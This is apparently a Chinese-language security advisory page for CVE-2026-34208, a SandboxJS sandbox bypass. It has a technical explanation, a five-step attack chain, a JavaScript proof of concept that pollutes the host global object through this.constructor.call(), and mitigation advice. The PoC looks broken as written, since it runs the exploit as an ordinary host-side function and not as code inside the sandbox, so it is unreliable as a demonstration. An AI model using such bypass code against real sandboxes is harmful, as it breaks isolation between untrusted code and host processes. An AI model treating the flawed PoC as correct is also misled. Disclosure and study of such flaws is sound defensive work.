IPBUF安全漏洞报告
English
CVE-2026-34208 CVSS 10.0 严重

CVE-2026-34208 SandboxJS沙箱绕过漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-34208
漏洞类型
沙箱绕过
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SandboxJS

相关标签

沙箱绕过SandboxJS权限提升代码执行CVE-2026-34208

漏洞概述

SandboxJS是一个JavaScript沙箱库。在0.8.36版本之前,存在一个安全绕过漏洞。尽管该库阻止了对全局对象的直接赋值,但攻击者可以通过利用暴露的可调用构造函数路径绕过此限制。这使得攻击者能够将任意属性写入宿主全局对象,并在同一进程中的不同沙箱实例间持久化这些恶意变更,从而破坏沙箱隔离性。

技术细节

该漏洞的核心原理在于SandboxJS未能完全隔离内部的`SandboxGlobal`构造函数,导致沙箱边界存在可被利用的缺口。虽然库机制拦截了对全局对象的直接赋值操作(如`Math.random = ...`),但它未限制对`Function.prototype.call`的访问。攻击者可以精心构造恶意代码,利用`this.constructor`解析获取到内部的`SandboxGlobal`函数引用。随后,通过调用该函数的`.call()`方法,攻击者能够将函数执行的上下文非法指向宿主的全局对象,并将包含恶意属性的对象作为参数传入。这种方式成功绕过了沙箱的赋值检查机制,将攻击者定义的属性写入宿主全局环境。由于这些修改直接作用于宿主进程,它们会在同一进程的不同沙箱实例间持久化存在,不仅破坏了隔离性,还可能导致后续所有实例受到污染,引发如原生函数劫持或全局命名空间篡改等严重后果。

攻击链分析

STEP 1
步骤1
识别目标系统使用的是SandboxJS 0.8.36之前的版本。
STEP 2
步骤2
攻击者构造包含恶意属性的JavaScript对象。
STEP 3
步骤3
攻击者在沙箱代码中利用`this.constructor`获取内部构造函数。
STEP 4
步骤4
使用`.call()`方法将内部构造函数的执行上下文切换为宿主全局对象。
STEP 5
步骤5
将恶意对象写入宿主全局对象,实现跨实例的持久化攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-34208: SandboxJS Sandbox Bypass // Vulnerable versions: < 0.8.36 const { Sandbox } = require('sandboxjs'); function exploit() { // Define the payload object to be written to the global scope const payload = { malicious: true, // Attempt to overwrite a global property process: { env: { POLLUTED: "YES" } } }; // 1. Use 'this.constructor' to get a reference to the internal SandboxGlobal constructor. // 2. Use .call() to invoke this constructor. // 3. Set the 'this' context of the constructor to the actual host global object. // 4. Pass the payload object to merge/write properties. let target = globalThis; // Execute the bypass this.constructor.call(target, payload); } // Run the exploit inside the sandbox const sandbox = new Sandbox(); sandbox.run(exploit); // Verification if (globalThis.malicious === true) { console.log("[+] PoC successful: Global object polluted."); }

影响范围

SandboxJS < 0.8.36

防御指南

临时缓解措施
建议立即更新至修复版本。若暂时无法更新,应在沙箱配置中禁用对`this.constructor`和`Function.prototype.call`的访问,或者在应用层面对沙箱代码进行静态扫描,检测是否存在利用构造函数链进行全局对象修改的尝试。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表